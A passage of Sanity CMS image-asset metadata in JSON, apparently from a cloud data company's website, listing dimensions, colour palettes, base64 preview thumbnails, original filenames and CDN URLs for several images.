sanity.imagePaletteSwatch","background":"#7b7fc2","foreground":"#fff","population":0.23,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#696f94","foreground":"#fff","population":1.6,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b9484c","foreground":"#fff","population":0.15,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"aiven-database-magic-to-laravel -project_meta-preview.jpg","path":"images/sczeoy4w/production/145f5e9e094ad61719c6c39dfe1ddd89a7ced55b-1200x628.jpg","sha1hash":"145f5e9e094ad61719c6c39dfe1ddd89a7ced55b","size":60043,"uploadId":"efYNpEHyvqThD3m6gytXo3AsLVfdlTjR","url":"https://cdn.sanity.io/images/sczeoy4w/production/145f5e9e094ad61719c6c39dfe1ddd89a7ced55b-1200x628.jpg"} {"_createdAt":"2022-07-27T14:08:15Z","_id":"image-145fdd657b2fbc084cc7aa2fab32bdb047e3c351-1958x1076-png","_rev":"x83dEXgiBTsn0wDtGtDeMj","_type":"sanity.imageAsset","_updatedAt":"2022-07-27T14:08:15Z","assetId":"145fdd657b2fbc084cc7aa2fab32bdb047e3c351","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M4S?AN.8oy=|xu~qx]o#ozt7?vr?IBR*s:","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8197026022304832,"height":1076,"width":1958},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABPElEQVQokW2SS27kMAxEff9DziKbAEHbbsnit0h5IKnTSDDzIHtBsCiyqO2e9N7v/5GZEeETjG/9XmwrYxGTzHzJ5llxuKuIsJjZShvizFQdcVVtEwC9dwAmCvdVIACqV9sPY36VA7aIuK5WSmHmOnH3zDQRfhxWKhxDjbCLZD/Bkj9vbo1KqSLaaLCmas+6//lon1+uBncQj8MClmAJR0QMMbO0RqomMvo3MzW76vX4/GpncTchbo/daoO51EvOEmbZ+2jbpswd5m7fZqraqGiGABOX41RiONoYcszSl/htvU1i2mxmRLy8dVV5VpAEIMxCvEzdwgwipjJXOcjM3hMY612bczU9SzROh/LwJpYYRHrs9diJaKX2fwjARcM814OxsY77vjcnkud5nSfzaGY9gHeV9/vrv4uu+F/2boMcBaj7HQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6c4c5c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7e0521","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a86878","foreground":"#fff","population":0.05,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c5b4c4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7ca4","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a86878","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f52152","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"infographic-how-do-time-series-databases-work.png","path":"images/sczeoy4w/production/145fdd657b2fbc084cc7aa2fab32bdb047e3c351-1958x1076.png","sha1hash":"145fdd657b2fbc084cc7aa2fab32bdb047e3c351","size":72680,"uploadId":"YPmXrAZGzx4tcz18gn9IcDvSwIErgQyh","url":"https://cdn.sanity.io/images/sczeoy4w/production/145fdd657b2fbc084cc7aa2fab32bdb047e3c351-1958x1076.png"} {"_createdAt":"2023-03-16T18:27:17Z","_id":"image-14647c8ae9175c36c0782350a4bdb36f09e1cf0b-259x258-jpg","_rev":"0lF4kyZBi1fr8QymZ6Ksem","_type":"sanity.imageAsset","_updatedAt":"2023-03-16T18:27:17Z","assetId":"14647c8ae9175c36c0782350a4bdb36f09e1cf0b","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eWF={%D%_3t7Rj~qxuWBt7M{xuofWBWBayayWBWBWBoft7fQWBofof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.003875968992248,"height":258,"width":259},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAMBAQAAAAAAAAAAAAAAAAUGCAQH/8QAIxAAAQQCAgICAwAAAAAAAAAAAQACAwQFEQZBByESURQicf/EABQBAQAAAAAAAAAAAAAAAAAAAAD/xAAUEQEAAAAAAAAAAAAAAAAAAAAA/9oADAMBAAIRAxEAPwC75zKOp4i1NE8CRkZLSftV/wAYZ65k6lp9x4ewP/Vy8F8jcyv5XOWq0ViSKjG74tjafR12V0eOeZ3sbnadczaqSuEb4+jvv+oNWfk7RRkUu2AjtEGTfIVeKHJNdExrS9zi7Xaj+I+uQUToEiUEbREGuK5JgYfsBERB/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":1.75,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":10.34,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":10.34,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#848484","foreground":"#fff","population":0.52,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"02704c31-mrinal-grayscale_1077099077076000000028.jpg","path":"images/sczeoy4w/production/14647c8ae9175c36c0782350a4bdb36f09e1cf0b-259x258.jpg","sha1hash":"14647c8ae9175c36c0782350a4bdb36f09e1cf0b","size":6080,"uploadId":"QEeY8Q1nRSNIe6R7tGo373yOKUc8Azus","url":"https://cdn.sanity.io/images/sczeoy4w/production/14647c8ae9175c36c0782350a4bdb36f09e1cf0b-259x258.jpg"} {"_createdAt":"2022-09-19T17:34:43Z","_id":"image-147e3a01c22bbe6a9077d9fcd989f21241a15af4-690x413-png","_rev":"heqX94pomd70Sxq8XxNPzo","_type":"sanity.imageAsset","_updatedAt":"2022-09-19T17:34:43Z","assetId":"147e3a01c22bbe6a9077d9fcd989f21241a15af4","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6707021791767553,"height":413,"width":690},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAACC0lEQVQoka2SXUuUURSF1z7vOF+ZF9E/KNCsJLWimEwRoa8Lq5u930aEukzIkFFkGKZyvDD6YLSr6GdkaGFYKELRn4lS786KM6+jY9ceWJxz9ln7udhnAUe9ulc2UavPYGvqMrbH8qAC3iJ4c+CefJzcW2vBl0hAOxC6VrcwX5/Gt1IBv8c7EmAcJU1hD7DmvVlrAfr/gWdXNlBbnEl9LxXSf8bbU1REPo5SNJdhHLUxnOMozTjK0FyOcZSjuSwVx6hop0me5vI0SfsA7Py8lZ2vl079nOwt7BSz/VR0enPnaDJAk36a66K5SzQ3RHMjNDdAc1epGKHiFlVu0GSYJqdpLoUzK5snavXp0V9PLizsFjM1Kia8SYkqi1SpUWWCJpM0maPJK5o8o4Z3lLxiloo5qlS9yXVvrg09n9ZPPl+cvf/jad/L3QeZt1QseJXXVPlAlfdUeUGVxzQp0+QNVYKn4hWPqHhIRZmK4BmiSRv6ltfy1aVy98bUlaHdYnaYijve5DZVblLlLlVGaNLbGIHKKFXuURF8PVScp2Iw9FDRTUUqAKW6VE6vzQxmt8dyGSryPgw/fEoYuErOJwMP5w6qHA81KoI30/ArOqgIHyW4+PELKu8qWJ0dxt/9HEqSr6YakQixkSQmDTVzeFjoXf6K6lIZ66Vr2Cnm9oDNALcCW2EHQL+nfeBRr39tMC0NwRLv1QAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#364452","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#047289","foreground":"#fff","population":0.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f95505","foreground":"#fff","population":6.59,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a48c84","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fca67d","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#789686","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f95505","foreground":"#fff","population":6.59,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"navisite-690x413.png","path":"images/sczeoy4w/production/147e3a01c22bbe6a9077d9fcd989f21241a15af4-690x413.png","sha1hash":"147e3a01c22bbe6a9077d9fcd989f21241a15af4","size":11992,"uploadId":"Wm5wrTNT2uEngQTBL9qMNjcoM5AUA0V7","url":"https://cdn.sanity.io/images/sczeoy4w/production/147e3a01c22bbe6a9077d9fcd989f21241a15af4-690x413.png"} {"_createdAt":"2024-03-13T09:05:42Z","_id":"image-14ad653c1e05361d138ff70cfc1a592a4ef8ca0a-860x860-jpg","_rev":"3FGtLQfVRJNnLVm3pcgqsR","_type":"sanity.imageAsset","_updatedAt":"2024-03-13T09:05:42Z","assetId":"14ad653c1e05361d138ff70cfc1a592a4ef8ca0a","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"ekJ*Yfbw.T-Vs:_3fktRofaeELo0VsR*Rj%goft7RjRjWCWBV@azR*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":860,"width":860},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAMBAQAAAAAAAAAAAAAAAAUGBwQI/8QAJxAAAgICAQIFBQEAAAAAAAAAAgMBBAAFEQYSBxMxQWEUISJCUYH/xAAXAQADAQAAAAAAAAAAAAAAAAACAwQF/8QAGxEAAwEBAAMAAAAAAAAAAAAAAAECEQMEEiH/2gAMAwEAAhEDEQA/ANE8Y+obOg6eQjXH5Vq83yRZ7hHvOVbpd5avWReTtrDrEcGxbS7oYPP34yY8Yorv01e4x9ePpGd8iw4iZj4+cpvT2/GvqE9qESLCJYkf6xPvPxgdnSpYVeJEXzr2NpJkOEGR6GMFH+4zk111DaFcis1iLsiJlZxI8/GMpM/TxLtdle2tuDv23uKS5/I54yYq7W4NJlcXFC5HtmP7HOMYrNZSm0vhKJc5ahFbmiPHpBzGMYxos//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#493432","foreground":"#fff","population":2.51,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#632021","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ccdce2","foreground":"#000","population":5.42,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccdce2","foreground":"#000","population":5.42,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e79693","foreground":"#000","population":0.39,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a75f60","foreground":"#fff","population":1.25,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c75f6f","foreground":"#fff","population":0.05,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"daniel-ortiz.jpeg","path":"images/sczeoy4w/production/14ad653c1e05361d138ff70cfc1a592a4ef8ca0a-860x860.jpg","sha1hash":"14ad653c1e05361d138ff70cfc1a592a4ef8ca0a","size":114082,"uploadId":"JjVZL9EKhu4dvegieqT6iZnRGwPqyrTi","url":"https://cdn.sanity.io/images/sczeoy4w/production/14ad653c1e05361d138ff70cfc1a592a4ef8ca0a-860x860.jpg"} {"_createdAt":"2023-12-07T13:08:51Z","_id":"image-14b09690e3fa10cece994b43d8a69a254f979c62-1216x684-jpg","_rev":"kEHuFmUBKgAmSEW7BbNmCe","_type":"sanity.imageAsset","_updatedAt":"2023-12-07T13:08:51Z","assetId":"14b09690e3fa10cece994b43d8a69a254f979c62","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MEC;-kNE15=wI;NebFs:R*sT1NJBI=^0}m","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":684,"width":1216},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAYHBAX/xAAkEAABAwMDBAMAAAAAAAAAAAABAAIDBAUhERITFBcxcUJRkf/EABUBAQEAAAAAAAAAAAAAAAAAAAUE/8QAHREAAgICAwEAAAAAAAAAAAAAAQIAEQQhMUFhMv/aAAwDAQACEQMRAD8AjVlsEVfbjUuroYXb9nG459rtQN6iKKwzSRRUMbyer24J9pGjJHglURzj2saMYk1B0Gv6kMsOjKWawWAGvknv2pTisjIwVaIFnfIHXlxMro4aarmhaeVrHEB4+Q+0LA9x1GT4QmQ9CjCzs2J//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#744253","foreground":"#fff","population":2.84,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#942008","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e66c16","foreground":"#fff","population":9.23,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cda4a0","foreground":"#000","population":0.07,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcb464","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#bf8375","foreground":"#fff","population":1.23,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e66c16","foreground":"#fff","population":9.23,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"illustration-open-source.jpg","path":"images/sczeoy4w/production/14b09690e3fa10cece994b43d8a69a254f979c62-1216x684.jpg","sha1hash":"14b09690e3fa10cece994b43d8a69a254f979c62","size":43774,"uploadId":"mibwhKHehmV07pTfx5YDbhRnsEHBalzg","url":"https://cdn.sanity.io/images/sczeoy4w/production/14b09690e3fa10cece994b43d8a69a254f979c62-1216x684.jpg"} {"_createdAt":"2024-08-23T08:07:45Z","_id":"image-14b1c2657819ea9fb9024f25421be42bb47d6641-906x1198-png","_rev":"Y0UAcXdiCLXOzJ7kWYZrEs","_type":"sanity.imageAsset","_updatedAt":"2024-08-23T08:07:45Z","assetId":"14b1c2657819ea9fb9024f25421be42bb47d6641","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"dVMH10_NI:e.%OD*RP%M57t7rrR%~qRPNGozxus.R*Rk","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.7562604340567612,"height":1198,"width":906},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2f3155","foreground":"#fff","population":0.21,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#55110f","foreground":"#fff","population":0.1,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2f3155","foreground":"#fff","population":0.21,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a9afcc","foreground":"#000","population":0.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f169c4","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a95d6f","foreground":"#fff","population":0.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e62c81","foreground":"#fff","population":0.1,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"diagram-aiven-with-ai-dataflow.png","path":"images/sczeoy4w/production/14b1c2657819ea9fb9024f25421be42bb47d6641-906x1198.png","sha1hash":"14b1c2657819ea9fb9024f25421be42bb47d6641","size":65818,"uploadId":"V8Z7V1kUWoaTqKNMPFSaWBMA4GOyR3kB","url":"https://cdn.sanity.io/images/sczeoy4w/production/14b1c2657819ea9fb9024f25421be42bb47d6641-906x1198.png"} {"_createdAt":"2024-03-11T17:34:11Z","_id":"image-14c5e43224a0657ddf74ed1c398238ca5b6bbdca-94x22-svg","_rev":"3FGtLQfVRJNnLVm3pXe4Pf","_type":"sanity.imageAsset","_updatedAt":"2024-03-11T17:34:11Z","assetId":"14c5e43224a0657ddf74ed1c398238ca5b6bbdca","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"D61=9{L,y.M5ymyiL+y.M3yn","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.2727272727272725,"height":22,"width":94},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsTAAALEwEAmpwYAAABE0lEQVQYlS2PSyvEYRjFfzLlkpCFppRSig+gbFhYcP4mxpkZCxbujJCQ+3XMkBJlXMpSsVA+kp0vYa1X7+p56jzP75wDcgOJu0k8hzyJ3IHcjNyIXIdyrSRuIXE9chNyG3If8mLNaG6A/kxbb6WYXvu5nTj6rT4RIavId8gXyLPIU8gZ5OG455GHkI08jVxErpB4mxHPpLKFxZ5ycWn5+yYfgG/IZ8ivyF/It8i7yPfIT8iHERBmGXk97h/I78glklw5lS3sdO4tdAVgEE6RH5E/Y9J95Go0OY4NTpCvkTeQD2KQALz8TzviLQbH0wFYQn5GfoniDfID8ibycjS4Qp6PTYJRuDuPv+H2mSS3UjuWb/8De4JodeDzc28AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#263d49","foreground":"#fff","population":0.68,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#044464","foreground":"#fff","population":0.1,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#263d49","foreground":"#fff","population":0.68,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#0a8e30","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#69f491","foreground":"#000","population":0.15,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6ca078","foreground":"#fff","population":0.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#34c464","foreground":"#fff","population":0.05,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-doccla.svg","path":"images/sczeoy4w/production/14c5e43224a0657ddf74ed1c398238ca5b6bbdca-94x22.svg","sha1hash":"14c5e43224a0657ddf74ed1c398238ca5b6bbdca","size":5151,"uploadId":"mdGx5XaGgAwwmeyvzOgvXTQQR4ZyzeuX","url":"https://cdn.sanity.io/images/sczeoy4w/production/14c5e43224a0657ddf74ed1c398238ca5b6bbdca-94x22.svg"} {"_createdAt":"2022-06-17T08:37:17Z","_id":"image-14cbd7fe5d4aa9193622f6babf8aa121bcc1a512-160x160-png","_rev":"oamrAPLmQLQjd9jh7ZwCPO","_type":"sanity.imageAsset","_updatedAt":"2022-06-17T08:37:17Z","assetId":"14cbd7fe5d4aa9193622f6babf8aa121bcc1a512","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eVOf[VtRyYoLDO~qayIVWCMx00ay4Tf6S4.8j[Mxj@M{E1WBIAkCkD","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":160,"width":160},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEWElEQVQ4jV2UbVMTVxTHd3jBF6Afgpd8Bvg2+rK1tSPZ3SzZJDwEBApJEKgRE6FIKhioBjA8SIUgYBCKJKIgDYbyEJhJJE/7/3cuLhnxztyZO3vO+d3/OffskQBI3+wKklUA6gDoBCIkkyRz5hbniLABqDV9K75llA8kKwFUA7gJIEgyDsNIF3IX+S/naSN7dmLkv2TzRqmUFjaSQQA3SIqYyu+B4kONeXOMZNYoFZlNHzP1bp0fX01z52WY+7EoTw/2WchdEECWZMyMqTEFXQKF5GrTkCBZgmEwc3qMT6sLeDcewNZILzaHvXgzfA/r4Sf4/CGOQj7PS18gYcYKRoVk1uGGUAagRBKF3AWSWzFshAJIPOnD/l8D2Av5sB7oxGxfK9amx3F+egzhC6BkxopSVQmFtaJmIgVA+BCZs1Nsv5xk7A8v9iYe4GjuT6ZeDPPdYy+mu3VEBvuZ+vRRwHAZ8DVWMOokU25c2C49AKRTSa5MDGO+t4X/DHu4/8zPxGg/l++3MuSqZ8jjws6b1yzmLq5U0mToAijaIH11mWGUcLS3g5dD/XzqkjnvsfPtw3Yu3mvi8zaFQf0Wg031fDv5FBfpk2+BghERwCSAfBlYKuHoYxwrI/c553Zw0evgam8T1/pbGO1r5lS7wolWmVuTY8idXQMKRlIAcwCMcjkMA+nkHrfDQW74O7lyr5FL3TZu+tr4ftjNpd9dXPB7mNxYYel6yoKRuwY0i4wv56fcXXzBNwOdXOiwctalcNlt57qvjUv+Lm4tTDOTPhH5wFzXgOWUr4CFfA7JzVUuP+ziTLOFc40y/27TuOhxcHGol/vbmywWi1fqYL50OWXxv14+ytV1hmHg9OATY6EhLnTqjHbojP6m84VQG+jhwYeEqE0ZiO8epdw2wkH4iEPm/AxvZ8MMdzn5vMXCieY7HLH/zKm+u9yNLSNzfvZVJcoKy21TZw6DrGEYzGYzODk+wk58m9OjjzHYoiKg/cQRx22GOzW88rVjcTTA6PwMPuy8RyaToWEYV41dKxmGUUXyZrFYjB39d1haWY7i2XgIgw8foLfViUCjjMluB177u7Ax0ocFvxuPulzwdNzF4KMAlqNLpcPDVKxQKIjJUyUdplJiBlYfplL67Ewk0ev1lFoanXQ0WNFk+QUDjTLmfJ1YC/owP9SPgPsuWp06dE2lQ7eVetzdialwWD9I/ltNskISS4ye2ZlIjbe7S9cbtJhVkbOqpZ7anV/ZbpM50NHMgLudPe0utjjttDdotFnVrKbIsQZF1l1NjTVjo08qY6trkvTA55PGxp9LiqW+UlOVak1VblgVOajKclyVLekGVc47bJrh1G2GQ7flHbot7dRtcXuDFtQ19aZNVapv3/qxkqQ0FPBL0tRkWNrd3RUqpd4eb4WmKlWqbKm1KrJuVZWIVVWSmlXN2TRrztagJZ12PdLkdOhOu63OYdN+6OvxipJJqc8HUujpmPQ/mrYUJ3RKI8MAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#603f34","foreground":"#fff","population":0.39,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c0404","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cab9b3","foreground":"#000","population":1.06,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cab9b3","foreground":"#000","population":1.06,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4a994","foreground":"#000","population":0.17,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#957564","foreground":"#fff","population":0.29,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ba716d","foreground":"#fff","population":0.14,"title":"#fff"}}},"mimeType":"